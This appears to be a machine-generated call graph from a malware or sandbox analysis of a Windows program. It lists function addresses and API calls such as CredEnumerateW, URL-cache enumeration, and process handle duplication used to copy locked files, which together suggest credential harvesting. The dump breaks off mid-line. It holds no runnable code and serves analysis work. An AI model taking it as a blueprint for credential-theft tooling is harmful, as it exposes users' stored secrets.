38507->38517 38509 4457c7 38509->38463 38511 4087b3 338 API calls 38509->38511 38510 40ae51 9 API calls 38510->38517 38511->38463 38512 445f5c 38514 40aebe FindClose 38512->38514 38513 40add4 2 API calls 38513->38517 38514->38473 38515 40b2cc 27 API calls 38515->38517 38516 409d1f 6 API calls 38516->38517 38517->38510 38517->38512 38517->38513 38517->38515 38517->38516 38519 445f3a 38517->38519 38919 409b98 GetFileAttributesW 38517->38919 38920 445093 23 API calls 38519->38920 38521->38318 38522->38320 38523->38318 38524->38313 38526 40c775 38525->38526 38922 40b1ab free free 38526->38922 38528 40c788 38923 40b1ab free free 38528->38923 38530 40c790 38924 40b1ab free free 38530->38924 38532 40c798 38533 40aa04 free 38532->38533 38534 40c7a0 38533->38534 38925 40c274 memset 38534->38925 38539 40a8ab 9 API calls 38540 40c7c3 38539->38540 38541 40a8ab 9 API calls 38540->38541 38542 40c7d0 38541->38542 38954 40c3c3 38542->38954 38546 40c877 38555 40bdb0 38546->38555 38547 40c86c 38996 4053fe 39 API calls 38547->38996 38549 40c7e5 38549->38546 38549->38547 38554 40c634 49 API calls 38549->38554 38979 40a706 38549->38979 38554->38549 39186 404363 38555->39186 38558 40bf5d 39206 40440c 38558->39206 38560 40bdee 38560->38558 38563 40b2cc 27 API calls 38560->38563 38561 40bddf CredEnumerateW 38561->38560 38564 40be02 wcslen 38563->38564 38564->38558 38567 40be1e 38564->38567 38565 40be26 wcsncmp 38565->38567 38567->38558 38567->38565 38569 40be7d memset 38567->38569 38570 40bea7 memcpy 38567->38570 38571 40bf11 wcschr 38567->38571 38572 40b2cc 27 API calls 38567->38572 38574 40bf43 LocalFree 38567->38574 39209 40bd5d 28 API calls 38567->39209 39210 404423 38567->39210 38569->38567 38569->38570 38570->38567 38570->38571 38571->38567 38573 40bef6 _wcsnicmp 38572->38573 38573->38567 38573->38571 38574->38567 38575 4135f7 39223 4135e0 38575->39223 38578 40b2cc 27 API calls 38579 41360d 38578->38579 38580 40a804 8 API calls 38579->38580 38581 413613 38580->38581 38582 41361b 38581->38582 38583 41363e 38581->38583 38584 40b273 27 API calls 38582->38584 38585 4135e0 FreeLibrary 38583->38585 38586 413625 GetProcAddress 38584->38586 38587 413643 38585->38587 38586->38583 38588 413648 38586->38588 38587->38341 38589 413658 38588->38589 38590 4135e0 FreeLibrary 38588->38590 38589->38341 38591 413666 38590->38591 38591->38341 39226 4449b9 38592->39226 38595 444c1f 38595->38328 38596 4449b9 42 API calls 38598 444b4b 38596->38598 38597 444c15 38599 4449b9 42 API calls 38597->38599 38598->38597 39247 444972 GetVersionExW 38598->39247 38599->38595 38601 444b99 memcmp 38606 444b8c 38601->38606 38602 444c0b 39251 444a85 42 API calls 38602->39251 38606->38601 38606->38602 39248 444aa5 42 API calls 38606->39248 39249 40a7a0 GetVersionExW 38606->39249 39250 444a85 42 API calls 38606->39250 38609 40399d 38608->38609 39252 403a16 38609->39252 38611 403a09 39266 40b1ab free free 38611->39266 38613 4039a3 38613->38611 38617 4039f4 38613->38617 39263 40a02c CreateFileW 38613->39263 38614 403a12 wcsrchr 38614->38344 38617->38611 38618 4099c6 2 API calls 38617->38618 38618->38611 38620 414c2e 16 API calls 38619->38620 38621 404048 38620->38621 38622 414c2e 16 API calls 38621->38622 38623 404056 38622->38623 38624 409d1f 6 API calls 38623->38624 38625 404073 38624->38625 38626 409d1f 6 API calls 38625->38626 38627 40408e 38626->38627 38628 409d1f 6 API calls 38627->38628 38629 4040a6 38628->38629 38630 403af5 20 API calls 38629->38630 38631 4040ba 38630->38631 38632 403af5 20 API calls 38631->38632 38633 4040cb 38632->38633 39293 40414f memset 38633->39293 38635 404140 39307 40b1ab free free 38635->39307 38637 4040ec memset 38640 4040e0 38637->38640 38638 404148 38638->38401 38639 4099c6 2 API calls 38639->38640 38640->38635 38640->38637 38640->38639 38641 40a8ab 9 API calls 38640->38641 38641->38640 39320 40a6e6 WideCharToMultiByte 38642->39320 38644 4087ed 39321 4095d9 memset 38644->39321 38647 408953 38647->38401 38648 408809 memset memset memset memset memset 38649 40b2cc 27 API calls 38648->38649 38650 4088a1 38649->38650 38651 409d1f 6 API calls 38650->38651 38652 4088b1 38651->38652 38653 40b2cc 27 API calls 38652->38653 38654 4088c0 38653->38654 38655 409d1f 6 API calls 38654->38655 38656 4088d0 38655->38656 38657 40b2cc 27 API calls 38656->38657 38658 4088df 38657->38658 38659 409d1f 6 API calls 38658->38659 38660 4088ef 38659->38660 38661 40b2cc 27 API calls 38660->38661 38662 4088fe 38661->38662 38663 409d1f 6 API calls 38662->38663 38664 40890e 38663->38664 38665 40b2cc 27 API calls 38664->38665 38666 40891d 38665->38666 38667 409d1f 6 API calls 38666->38667 38668 40892d 38667->38668 39340 409b98 GetFileAttributesW 38668->39340 38670 40893e 38671 408943 38670->38671 38672 408958 38670->38672 39341 407fdf 75 API calls 38671->39341 39342 409b98 GetFileAttributesW 38672->39342 38675 408964 38676 408969 38675->38676 38677 40897b 38675->38677 38694 40b633 free 38693->38694 38695 413d65 CreateToolhelp32Snapshot memset Process32FirstW 38694->38695 38696 413f00 Process32NextW 38695->38696 38697 413da5 OpenProcess 38696->38697 38698 413f17 CloseHandle 38696->38698 38699 413df3 memset 38697->38699 38702 413eb0 38697->38702 38698->38439 39642 413f27 38699->39642 38701 413ebf free 38701->38702 38702->38696 38702->38701 38703 4099f4 3 API calls 38702->38703 38703->38702 38705 413e37 GetModuleHandleW 38706 413e1f 38705->38706 38707 413e46 GetProcAddress 38705->38707 38706->38705 39647 413959 38706->39647 39663 413ca4 38706->39663 38707->38706 38709 413ea2 CloseHandle 38709->38702 38711 414c2e 16 API calls 38710->38711 38712 403eb7 38711->38712 38713 414c2e 16 API calls 38712->38713 38714 403ec5 38713->38714 38715 409d1f 6 API calls 38714->38715 38716 403ee2 38715->38716 38717 409d1f 6 API calls 38716->38717 38718 403efd 38717->38718 38719 409d1f 6 API calls 38718->38719 38720 403f15 38719->38720 38721 403af5 20 API calls 38720->38721 38722 403f29 38721->38722 38723 403af5 20 API calls 38722->38723 38724 403f3a 38723->38724 38725 40414f 33 API calls 38724->38725 38726 403f4f 38725->38726 38727 403faf 38726->38727 38729 403f5b memset 38726->38729 38731 4099c6 2 API calls 38726->38731 38732 40a8ab 9 API calls 38726->38732 39677 40b1ab free free 38727->39677 38729->38726 38730 403fb7 38730->38385 38731->38726 38732->38726 38734 414c2e 16 API calls 38733->38734 38735 403d26 38734->38735 38736 414c2e 16 API calls 38735->38736 38737 403d34 38736->38737 38738 409d1f 6 API calls 38737->38738 38739 403d51 38738->38739 38740 409d1f 6 API calls 38739->38740 38741 403d6c 38740->38741 38742 409d1f 6 API calls 38741->38742 38743 403d84 38742->38743 38744 403af5 20 API calls 38743->38744 38745 403d98 38744->38745 38746 403af5 20 API calls 38745->38746 38747 403da9 38746->38747 38748 40414f 33 API calls 38747->38748 38749 403dbe 38748->38749 38750 403e1e 38749->38750 38751 403dca memset 38749->38751 38754 4099c6 2 API calls 38749->38754 38755 40a8ab 9 API calls 38749->38755 39678 40b1ab free free 38750->39678 38751->38749 38753 403e26 38753->38389 38754->38749 38755->38749 38757 414b81 9 API calls 38756->38757 38758 414c40 38757->38758 38759 414c73 memset 38758->38759 39679 409cea 38758->39679 38760 414c94 38759->38760 39682 414592 RegOpenKeyExW 38760->39682 38764 414c64 38764->38379 38765 414cc1 38766 414cf4 wcscpy 38765->38766 39683 414bb0 wcscpy 38765->39683 38766->38764 38768 414cd2 39684 4145ac RegQueryValueExW 38768->39684 38770 414ce9 RegCloseKey 38770->38766 38772 409d62 38771->38772 38773 409d43 wcscpy 38771->38773 38772->38421 38774 409719 2 API calls 38773->38774 38775 409d51 wcscat 38774->38775 38775->38772 38777 40aebe FindClose 38776->38777 38778 40ae21 38777->38778 38779 4099c6 2 API calls 38778->38779 38780 40ae35 38779->38780 38781 409d1f 6 API calls 38780->38781 38782 40ae49 38781->38782 38782->38456 38784 40ade0 38783->38784 38785 40ae0f 38783->38785 38784->38785 38786 40ade7 wcscmp 38784->38786 38785->38456 38786->38785 38787 40adfe wcscmp 38786->38787 38787->38785 38789 40ae18 9 API calls 38788->38789 38795 4453c4 38789->38795 38790 40ae51 9 API calls 38790->38795 38791 4453f3 38793 40aebe FindClose 38791->38793 38792 40add4 2 API calls 38792->38795 38794 4453fe 38793->38794 38794->38456 38795->38790 38795->38791 38795->38792 38796 445403 253 API calls 38795->38796 38796->38795 38798 40ae7b FindNextFileW 38797->38798 38799 40ae5c FindFirstFileW 38797->38799 38800 40ae94 38798->38800 38801 40ae8f 38798->38801 38799->38800 38803 40aeb6 38800->38803 38804 409d1f 6 API calls 38800->38804 38802 40aebe FindClose 38801->38802 38802->38800 38803->38456 38804->38803 38805->38363 38806->38388 38807->38442 38808->38423 38809->38423 38810->38457 38812 409c89 38811->38812 38812->38479 38813->38509 38815 413d39 38814->38815 38816 413d2f FreeLibrary 38814->38816 38817 40b633 free 38815->38817 38816->38815 38818 413d42 38817->38818 38819 40b633 free 38818->38819 38820 413d4a 38819->38820 38820->38336 38821->38340 38822->38391 38823->38405 38825 44db70 38824->38825 38826 40b6fc memset 38825->38826 38827 409c70 2 API calls 38826->38827 38828 40b732 wcsrchr 38827->38828 38829 40b743 38828->38829 38830 40b746 memset 38828->38830 38829->38830 38831 40b2cc 27 API calls 38830->38831 38832 40b76f 38831->38832 38833 409d1f 6 API calls 38832->38833 38834 40b783 38833->38834 39685 409b98 GetFileAttributesW 38834->39685 38836 40b792 38837 40b7c2 38836->38837 38838 409c70 2 API calls 38836->38838 39686 40bb98 38837->39686 38840 40b7a5 38838->38840 38842 40b2cc 27 API calls 38840->38842 38845 40b7b2 38842->38845 38843 40b837 CloseHandle 38847 40b83e memset 38843->38847 38844 40b817 39720 409a45 GetTempPathW 38844->39720 38849 409d1f 6 API calls 38845->38849 39719 40a6e6 WideCharToMultiByte 38847->39719 38849->38837 38850 40b827 CopyFileW 38850->38847 38851 40b866 38852 444432 121 API calls 38851->38852 38853 40b879 38852->38853 38854 40bad5 38853->38854 38855 40b273 27 API calls 38853->38855 38856 40baeb 38854->38856 38857 40bade DeleteFileW 38854->38857 38858 40b89a 38855->38858 38859 40b04b ??3@YAXPAX 38856->38859 38857->38856 38860 438552 134 API calls 38858->38860 38861 40baf3 38859->38861 38862 40b8a4 38860->38862 38861->38415 38863 40bacd 38862->38863 38865 4251c4 137 API calls 38862->38865 38864 443d90 111 API calls 38863->38864 38864->38854 38888 40b8b8 38865->38888 38866 40bac6 39732 424f26 123 API calls 38866->39732 38867 40b8bd memset 39723 425413 17 API calls 38867->39723 38870 425413 17 API calls 38870->38888 38873 40a71b MultiByteToWideChar 38873->38888 38874 40a734 MultiByteToWideChar 38874->38888 38877 40b9b5 memcmp 38877->38888 38878 4099c6 2 API calls 38878->38888 38879 404423 37 API calls 38879->38888 38881 40bb3e memset memcpy 39733 40a734 MultiByteToWideChar 38881->39733 38882 4251c4 137 API calls 38882->38888 38885 40bb88 LocalFree 38885->38888 38888->38866 38888->38867 38888->38870 38888->38873 38888->38874 38888->38877 38888->38878 38888->38879 38888->38881 38888->38882 38889 40ba5f memcmp 38888->38889 39724 4253ef 16 API calls 38888->39724 39725 40b64c SystemTimeToFileTime FileTimeToLocalFileTime 38888->39725 39726 4253af 17 API calls 38888->39726 39727 4253cf 17 API calls 38888->39727 39728 447280 memset 38888->39728 39729 447960 memset memcpy memcpy memcpy 38888->39729 39730 40afe8 ??2@YAPAXI memcpy ??3@YAXPAX 38888->39730 39731 447920 memcpy memcpy memcpy 38888->39731 38889->38888 38890->38417 38892 40aed1 38891->38892 38893 40aec7 FindClose 38891->38893 38892->38349 38893->38892 38895 4099d7 38894->38895 38896 4099da memcpy 38894->38896 38895->38896 38896->38400 38898 40b2cc 27 API calls 38897->38898 38899 44543f 38898->38899 38900 409d1f 6 API calls 38899->38900 38901 44544f 38900->38901 39825 409b98 GetFileAttributesW 38901->39825 38903 44545e 38904 445476 38903->38904 38905 40b6ef 252 API calls 38903->38905 38906 40b2cc 27 API calls 38904->38906 38905->38904 38907 445482 38906->38907 38908 409d1f 6 API calls 38907->38908 38909 445492 38908->38909 39826 409b98 GetFileAttributesW 38909->39826 38911 4454a1 38912 4454b9 38911->38912 38913 40b6ef 252 API calls 38911->38913 38912->38431 38913->38912 38914->38430 38915->38447 38916->38453 38917->38490 38918->38472 38919->38517 38920->38517 38921->38500 38922->38528 38923->38530 38924->38532 38926 414c2e 16 API calls 38925->38926 38927 40c2ae 38926->38927 38997 40c1d3 38927->38997 38932 40c3be 38949 40a8ab 38932->38949 38933 40afcf 2 API calls 38934 40c2fd FindFirstUrlCacheEntryW 38933->38934 38935 40c3b6 38934->38935 38936 40c31e wcschr 38934->38936 38937 40b04b ??3@YAXPAX 38935->38937 38938 40c331 38936->38938 38939 40c35e FindNextUrlCacheEntryW 38936->38939 38937->38932 38940 40a8ab 9 API calls 38938->38940 38939->38936 38941 40c373 GetLastError 38939->38941 38944 40c33e wcschr 38940->38944 38942 40c3ad FindCloseUrlCache 38941->38942 38943 40c37e 38941->38943 38942->38935 38945 40afcf 2 API calls 38943->38945 38944->38939 38946 40c34f 38944->38946 38947 40c391 FindNextUrlCacheEntryW 38945->38947 38948 40a8ab 9 API calls 38946->38948 38947->38936 38947->38942 38948->38939 39113 40a97a 38949->39113 38952 40a8cc 38952->38539 38953 40a8d0 7 API calls 38953->38952 39118 40b1ab free free 38954->39118 38956 40c3dd 38957 40b2cc 27 API calls 38956->38957 38958 40c3e7 38957->38958 39119 414592 RegOpenKeyExW 38958->39119 38960 40c3f4 38961 40c50e 38960->38961 38962 40c3ff 38960->38962 38976 405337 38961->38976 38963 40a9ce 4 API calls 38962->38963 38964 40c418 memset 38963->38964 39120 40aa1d 38964->39120 38967 40c471 38969 40c47a _wcsupr 38967->38969 38968 40c505 RegCloseKey 38968->38961 38970 40a8d0 7 API calls 38969->38970 38971 40c498 38970->38971 38972 40a8d0 7 API calls 38971->38972 38973 40c4ac memset 38972->38973 38974 40aa1d 38973->38974 38975 40c4e4 RegEnumValueW 38974->38975 38975->38968 38975->38969 39122 405220 38976->39122 38980 4099c6 2 API calls 38979->38980 38981 40a714 _wcslwr 38980->38981 38982 40c634 38981->38982 39179 405361 38982->39179 38985 40c65c wcslen 39182 4053b6 39 API calls 38985->39182 38986 40c71d wcslen 38986->38549 38988 40c713 39185 4053df 39 API calls 38988->39185 38989 40c677 38989->38988 39183 40538b 39 API calls 38989->39183 38992 40c6a5 38992->38988 38993 40c6a9 memset 38992->38993 38994 40c6d3 38993->38994 39184 40c589 43 API calls 38994->39184 38996->38546 38998 40ae18 9 API calls 38997->38998 39004 40c210 38998->39004 38999 40ae51 9 API calls 38999->39004 39000 40c264 39001 40aebe FindClose 39000->39001 39003 40c26f 39001->39003 39002 40add4 2 API calls 39002->39004 39009 40e5ed memset memset 39003->39009 39004->38999 39004->39000 39004->39002 39005 40c231 _wcsicmp 39004->39005 39006 40c1d3 35 API calls 39004->39006 39005->39004 39007 40c248 39005->39007 39006->39004 39022 40c084 22 API calls 39007->39022 39010 414c2e 16 API calls 39009->39010 39011 40e63f 39010->39011 39012 409d1f 6 API calls 39011->39012 39013 40e658 39012->39013 39023 409b98 GetFileAttributesW 39013->39023 39015 40e667 39016 40e680 39015->39016 39018 409d1f 6 API calls 39015->39018 39024 409b98 GetFileAttributesW 39016->39024 39018->39016 39019 40e68f 39020 40c2d8 39019->39020 39025 40e4b2 39019->39025 39020->38932 39020->38933 39022->39004 39023->39015 39024->39019 39046 40e01e 39025->39046 39027 40e593 39029 40e5b0 39027->39029 39030 40e59c DeleteFileW 39027->39030 39028 40e521 39028->39027 39069 40e175 39028->39069 39031 40b04b ??3@YAXPAX 39029->39031 39030->39029 39032 40e5bb 39031->39032 39034 40e5c4 CloseHandle 39032->39034 39035 40e5cc 39032->39035 39034->39035 39037 40b633 free 39035->39037 39036 40e573 39038 40e584 39036->39038 39039 40e57c CloseHandle 39036->39039 39040 40e5db 39037->39040 39112 40b1ab free free 39038->39112 39039->39038 39043 40b633 free 39040->39043 39042 40e540 39042->39036 39089 40e2ab 39042->39089 39044 40e5e3 39043->39044 39044->39020 39047 406214 22 API calls 39046->39047 39048 40e03c 39047->39048 39049 40e16b 39048->39049 39050 40dd85 74 API calls 39048->39050 39049->39028 39051 40e06b 39050->39051 39051->39049 39052 40afcf ??2@YAPAXI ??3@YAXPAX 39051->39052 39053 40e08d OpenProcess 39052->39053 39054 40e0a4 GetCurrentProcess DuplicateHandle 39053->39054 39058 40e152 39053->39058 39055 40e0d0 GetFileSize 39054->39055 39056 40e14a CloseHandle 39054->39056 39059 409a45 GetTempPathW GetWindowsDirectoryW GetTempFileNameW 39055->39059 39056->39058 39057 40e160 39061 40b04b ??3@YAXPAX 39057->39061 39058->39057 39060 406214 22 API calls 39058->39060 39062 40e0ea 39059->39062 39060->39057 39061->39049 39063 4096dc CreateFileW 39062->39063 39064 40e0f1 CreateFileMappingW 39063->39064 39065 40e140 CloseHandle CloseHandle 39064->39065 39066 40e10b MapViewOfFile 39064->39066 39065->39056 39067 40e13b CloseHandle 39066->39067 39068 40e11f WriteFile UnmapViewOfFile 39066->39068 39067->39065 39068->39067 39070 40e18c 39069->39070 39071 406b90 11 API calls 39070->39071 39072 40e19f 39071->39072 39073 40e1a7 memset 39072->39073 39074 40e299 39072->39074 39079 40e1e8 39073->39079 39075 4069a3 ??3@YAXPAX free 39074->39075 39076 40e2a4 39075->39076 39076->39042 39077 406e8f 13 API calls 39077->39079 39078 406b53 SetFilePointerEx ReadFile 39078->39079 39079->39077 39079->39078 39080 40e283 39079->39080 39081 40dd50 _wcsicmp 39079->39081 39085 40742e 8 API calls 39079->39085 39086 40aae3 wcslen wcslen _memicmp 39079->39086 39087 40e244 _snwprintf 39079->39087 39082 40e291 39080->39082 39083 40e288 free 39080->39083 39081->39079 39084 40aa04 free 39082->39084 39083->39082 39084->39074 39085->39079 39086->39079 39088 40a8d0 7 API calls 39087->39088 39088->39079 39090 40e2c2 39089->39090 39091 406b90 11 API calls 39090->39091 39102 40e2d3 39091->39102 39092 40e4a0 39093 4069a3 ??3@YAXPAX free 39092->39093 39095 40e4ab 39093->39095 39094 406e8f 13 API calls 39094->39102 39095->39042 39096 406b53 SetFilePointerEx ReadFile 39096->39102 39097 40e489 39098 40aa04 free 39097->39098 39099 40e491 39098->39099 39099->39092 39100 40e497 free 39099->39100 39100->39092 39101 40dd50 _wcsicmp 39101->39102 39102->39092 39102->39094 39102->39096 39102->39097 39102->39101 39103 40dd50 _wcsicmp 39102->39103 39106 40742e 8 API calls 39102->39106 39107 40e3e0 memcpy 39102->39107 39108 40e3b3 wcschr 39102->39108 39109 40e3fb memcpy 39102->39109 39110 40e416 memcpy 39102->39110 39111 40e431 memcpy 39102->39111 39104 40e376 memset 39103->39104 39105 40aa29 6 API calls 39104->39105 39105->39102 39106->39102 39107->39102 39108->39102 39109->39102 39110->39102 39111->39102 39112->39027 39115 40a980 39113->39115 39114 40a8bb 39114->38952 39114->38953 39115->39114 39116 40a995 _wcsicmp 39115->39116 39117 40a99c wcscmp 39115->39117 39116->39115 39117->39115 39118->38956 39119->38960 39121 40aa23 RegEnumValueW 39120->39121 39121->38967 39121->38968 39123 405335 39122->39123 39124 40522a 39122->39124 39123->38549 39125 40b2cc 27 API calls 39124->39125 39126 405234 39125->39126 39127 40a804 8 API calls 39126->39127 39128 40523a 39127->39128 39167 40b273 39128->39167 39130 405248 _mbscpy _mbscat GetProcAddress 39131 40b273 27 API calls 39130->39131 39132 405279 39131->39132 39170 405211 GetProcAddress 39132->39170 39134 405282 39135 40b273 27 API calls 39134->39135 39136 40528f 39135->39136 39171 405211 GetProcAddress 39136->39171 39138 405298 39139 40b273 27 API calls 39138->39139 39140 4052a5 39139->39140 39172 405211 GetProcAddress 39140->39172 39142 4052ae 39143 40b273 27 API calls 39142->39143 39144 4052bb 39143->39144 39173 405211 GetProcAddress 39144->39173 39146 4052c4 39147 40b273 27 API calls 39146->39147 39148 4052d1 39147->39148 39174 405211 GetProcAddress 39148->39174 39150 4052da 39151 40b273 27 API calls 39150->39151 39152 4052e7 39151->39152 39175 405211 GetProcAddress 39152->39175 39154 4052f0 39155 40b273 27 API calls 39154->39155 39156 4052fd 39155->39156 39176 405211 GetProcAddress 39156->39176 39158 405306 39159 40b273 27 API calls 39158->39159 39160 405313 39159->39160 39177 405211 GetProcAddress 39160->39177 39162 40531c 39163 40b273 27 API calls 39162->39163 39164 405329 39163->39164 39178 405211 GetProcAddress 39164->39178 39166 405332 39166->39123 39168 40b58d 27 API calls 39167->39168 39169 40b18c 39168->39169 39169->39130 39170->39134 39171->39138 39172->39142 39173->39146 39174->39150 39175->39154 39176->39158 39177->39162 39178->39166 39180 405220 39 API calls 39179->39180 39181 405369 39180->39181 39181->38985 39181->38986 39182->38989 39183->38992 39184->38988 39185->38986 39187 40440c FreeLibrary 39186->39187 39188 40436d 39187->39188 39189 40a804 8 API calls 39188->39189 39190 404377 39189->39190 39191 404383 39190->39191 39192 404405 39190->39192 39193 40b273 27 API calls 39191->39193 39192->38558 39192->38560 39192->38561 39194 40438d GetProcAddress 39193->39194 39195 40b273 27 API calls 39194->39195 39196 4043a7 GetProcAddress 39195->39196 39197 40b273 27 API calls 39196->39197 39198 4043ba GetProcAddress 39197->39198 39199 40b273 27 API calls 39198->39199 39200 4043ce GetProcAddress 39199->39200 39201 40b273 27 API calls 39200->39201 39202 4043e2 GetProcAddress 39201->39202 39203 4043f1 39202->39203 39204 4043f7 39203->39204 39205 40440c FreeLibrary 39203->39205 39204->39192 39205->39192 39207 404413 FreeLibrary 39206->39207 39208 40441e 39206->39208 39207->39208 39208->38575 39209->38567 39211 40442e 39210->39211 39212 40447e 39210->39212 39213 40b2cc 27 API calls 39211->39213 39212->38567 39214 404438 39213->39214 39215 40a804 8 API calls 39214->39215 39216 40443e 39215->39216 39217 404445 39216->39217 39218 404467 39216->39218 39219 40b273 27 API calls 39217->39219 39218->39212 39220 404475 FreeLibrary 39218->39220 39221 40444f GetProcAddress 39219->39221 39220->39212 39221->39218 39222 404460 39221->39222 39222->39218 39224 4135f6 39223->39224 39225 4135eb FreeLibrary 39223->39225 39224->38578 39225->39224 39227 4449c4 39226->39227 39228 444a52 39226->39228 39229 40b2cc 27 API calls 39227->39229 39228->38595 39228->38596 39230 4449cb 39229->39230 39231 40a804 8 API calls 39230->39231 39232 4449d1 39231->39232 39233 40b273 27 API calls 39232->39233 39234 4449dc GetProcAddress 39233->39234 39235 40b273 27 API calls 39234->39235 39236 4449f3 GetProcAddress 39235->39236 39237 40b273 27 API calls 39236->39237 39238 444a04 GetProcAddress 39237->39238 39239 40b273 27 API calls 39238->39239 39240 444a15 GetProcAddress 39239->39240 39241 40b273 27 API calls 39240->39241 39242 444a26 GetProcAddress 39241->39242 39243 40b273 27 API calls 39242->39243 39244 444a37 GetProcAddress 39243->39244 39245 40b273 27 API calls 39244->39245 39246 444a48 GetProcAddress 39245->39246 39246->39228 39247->38606 39248->38606 39249->38606 39250->38606 39251->38597 39253 403a29 39252->39253 39267 403bed memset memset 39253->39267 39255 403ae7 39280 40b1ab free free 39255->39280 39256 403a3f memset 39262 403a2f 39256->39262 39258 403aef 39258->38613 39259 409b98 GetFileAttributesW 39259->39262 39260 40a8d0 7 API calls 39260->39262 39261 409d1f 6 API calls 39261->39262 39262->39255 39262->39256 39262->39259 39262->39260 39262->39261 39264 40a051 GetFileTime CloseHandle 39263->39264 39265 4039ca CompareFileTime 39263->39265 39264->39265 39265->38613 39266->38614 39268 414c2e 16 API calls 39267->39268 39269 403c38 39268->39269 39270 409719 2 API calls 39269->39270 39271 403c3f wcscat 39270->39271 39272 414c2e 16 API calls 39271->39272 39273 403c61 39272->39273 39274 409719 2 API calls 39273->39274 39275 403c68 wcscat 39274->39275 39281 403af5 39275->39281 39278 403af5 20 API calls 39279 403c95 39278->39279 39279->39262 39280->39258 39282 403b02 39281->39282 39283 40ae18 9 API calls 39282->39283 39291 403b37 39283->39291 39284 403bdb 39286 40aebe FindClose 39284->39286 39285 40add4 wcscmp wcscmp 39285->39291 39287 403be6 39286->39287 39287->39278 39288 40ae18 9 API calls 39288->39291 39289 40ae51 9 API calls 39289->39291 39290 40aebe FindClose 39290->39291 39291->39284 39291->39285 39291->39288 39291->39289 39291->39290 39292 40a8d0 7 API calls 39291->39292 39292->39291 39294 409d1f 6 API calls 39293->39294 39295 404190 39294->39295 39308 409b98 GetFileAttributesW 39295->39308 39297 40419c 39298 4041a7 6 API calls 39297->39298 39299 40435c 39297->39299 39301 40424f 39298->39301 39299->38640 39301->39299 39302 40425e memset 39301->39302 39304 409d1f 6 API calls 39301->39304 39305 40a8ab 9 API calls 39301->39305 39309 414842 39301->39309 39302->39301 39303 404296 wcscpy 39302->39303 39303->39301 39304->39301 39306 4042b6 memset memset _snwprintf wcscpy 39305->39306 39306->39301 39307->38638 39308->39297 39312 41443e 39309->39312 39311 414866 39311->39301 39313 41444b 39312->39313 39314 414451 39313->39314 39315 4144a3 GetPrivateProfileStringW 39313->39315 39316 414491 39314->39316 39317 414455 wcschr 39314->39317 39315->39311 39318 414495 WritePrivateProfileStringW 39316->39318 39317->39316 39319 414463 _snwprintf 39317->39319 39318->39311 39319->39318 39320->38644 39322 40b2cc 27 API calls 39321->39322 39323 409615 39322->39323 39324 409d1f 6 API calls 39323->39324 39325 409625 39324->39325 39350 409b98 GetFileAttributesW 39325->39350 39327 409634 39328 409648 39327->39328 39351 4091b8 memset 39327->39351 39330 40b2cc 27 API calls 39328->39330 39332 408801 39328->39332 39331 40965d 39330->39331 39333 409d1f 6 API calls 39331->39333 39332->38647 39332->38648 39334 40966d 39333->39334 39403 409b98 GetFileAttributesW 39334->39403 39336 40967c 39336->39332 39337 409681 39336->39337 39404 409529 72 API calls 39337->39404 39339 409690 39339->39332 39340->38670 39341->38647 39342->38675 39350->39327 39405 40a6e6 WideCharToMultiByte 39351->39405 39353 409202 39406 444432 39353->39406 39356 40b273 27 API calls 39357 409236 39356->39357 39452 438552 39357->39452 39360 409383 39362 40b273 27 API calls 39360->39362 39364 409399 39362->39364 39363 409254 39365 40937b 39363->39365 39473 4253cf 17 API calls 39363->39473 39366 438552 134 API calls 39364->39366 39384 4093a3 39366->39384 39370 4094ff 39481 443d90 39370->39481 39373 4251c4 137 API calls 39373->39384 39375 409507 39383 40951d 39375->39383 39501 408f2f 77 API calls 39375->39501 39377 4093df 39480 424f26 123 API calls 39377->39480 39381 4253cf 17 API calls 39381->39384 39383->39328 39384->39370 39384->39373 39384->39377 39384->39381 39386 4093e4 39384->39386 39478 4253af 17 API calls 39386->39478 39393 4093ed 39479 4253af 17 API calls 39393->39479 39396 4093f9 39396->39377 39403->39336 39404->39339 39405->39353 39502 4438b5 39406->39502 39408 44444c 39414 409215 39408->39414 39516 415a6d 39408->39516 39410 4442e6 11 API calls 39412 44469e 39410->39412 39411 444486 39413 4444b9 memcpy 39411->39413 39451 4444a4 39411->39451 39412->39414 39416 443d90 111 API calls 39412->39416 39520 415258 39413->39520 39414->39356 39414->39383 39416->39414 39417 444524 39418 444541 39417->39418 39419 44452a 39417->39419 39523 444316 39418->39523 39420 416935 16 API calls 39419->39420 39420->39451 39423 444316 18 API calls 39424 444563 39423->39424 39425 444316 18 API calls 39424->39425 39426 44456f 39425->39426 39427 444316 18 API calls 39426->39427 39428 44457f 39427->39428 39428->39451 39451->39410 39590 438460 39452->39590 39454 409240 39454->39360 39455 4251c4 39454->39455 39602 424f07 39455->39602 39457 4251e4 39458 4251f7 39457->39458 39459 4251e8 39457->39459 39610 4250f8 39458->39610 39609 4446ea 11 API calls 39459->39609 39461 4251f2 39461->39363 39478->39393 39479->39396 39480->39370 39482 443da3 39481->39482 39483 443db6 39481->39483 39626 41707a 39482->39626 39483->39375 39501->39383 39503 4438d0 39502->39503 39514 4438c9 39502->39514 39504 415378 memcpy memcpy 39503->39504 39505 4438d5 39504->39505 39506 4154e2 10 API calls 39505->39506 39507 443906 39505->39507 39505->39514 39506->39507 39508 443970 memset 39507->39508 39507->39514 39510 44398b 39508->39510 39509 4439a0 39511 415700 10 API calls 39509->39511 39509->39514 39510->39509 39513 41975c 10 API calls 39510->39513 39512 4439c0 39511->39512 39512->39514 39515 418981 10 API calls 39512->39515 39513->39509 39514->39408 39515->39514 39517 415a77 39516->39517 39518 415a8d 39517->39518 39519 415a7e memset 39517->39519 39518->39411 39519->39518 39521 4438b5 11 API calls 39520->39521 39522 41525d 39521->39522 39522->39417 39524 444328 39523->39524 39525 444423 39524->39525 39526 44434e 39524->39526 39527 4446ea 11 API calls 39525->39527 39528 432d4e memset memset memcpy 39526->39528 39534 444381 39527->39534 39529 44435a 39528->39529 39531 444375 39529->39531 39536 44438b 39529->39536 39530 432d4e memset memset memcpy 39532 4443ec 39530->39532 39533 416935 16 API calls 39531->39533 39532->39534 39535 416935 16 API calls 39532->39535 39533->39534 39534->39423 39535->39534 39536->39530 39591 41703f 11 API calls 39590->39591 39592 43847a 39591->39592 39593 43848a 39592->39593 39594 43847e 39592->39594 39596 438270 134 API calls 39593->39596 39595 4446ea 11 API calls 39594->39595 39598 438488 39595->39598 39597 4384aa 39596->39597 39597->39598 39599 424f26 123 API calls 39597->39599 39598->39454 39600 4384bb 39599->39600 39601 438270 134 API calls 39600->39601 39601->39598 39603 424f1f 39602->39603 39604 424f0c 39602->39604 39606 424eea 11 API calls 39603->39606 39605 416760 11 API calls 39604->39605 39607 424f18 39605->39607 39608 424f24 39606->39608 39607->39457 39608->39457 39609->39461 39611 425108 39610->39611 39617 42510d 39610->39617 39612 424f74 124 API calls 